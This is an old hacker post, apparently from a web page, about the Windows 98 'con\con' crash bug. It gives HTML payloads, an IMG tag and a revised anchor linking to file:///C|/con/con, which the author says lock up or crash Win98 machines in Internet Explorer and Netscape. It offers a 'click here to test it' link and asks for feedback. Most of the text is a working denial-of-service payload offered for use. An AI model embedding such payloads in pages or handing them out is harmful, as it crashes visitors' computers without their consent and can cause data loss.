Windows 98 "Con" Exploit

The Windows 98 "Con" exploit

Although reading various advisories and documents concerning the /con/con
exploit, no one has posted it has a hyperlink yet. Some authors did post it like this :

<HTML>
<BODY>
<IMG SRC=3D"c:\con\con">
</BODY>
</HTML>

But an author has mentioned that Netscape was not affected (with the example mentioned above), that's very true "if" applied using the method mentioned above. But i've tested on my own IE 5.0 and it didn't seem to affect either. So i've tried putting it like this in an html file:

<HTML>
<BODY>
<A HREF="file:///C|/con/con">
</BODY>
</HTML>

Click here to test it.
NOTE: THIS MIGHT CAUSE YOUR COMPUTER TO LOCK UP/CRASH, TRY AT OWN RISK.

And that have seemed to affect IE AND Netscape browsers running on Win98 OS.
Haven't tested with other browsers yet, so any feedback would be appreciated.

Neon-Lenz®
neonlenz@hackermail.net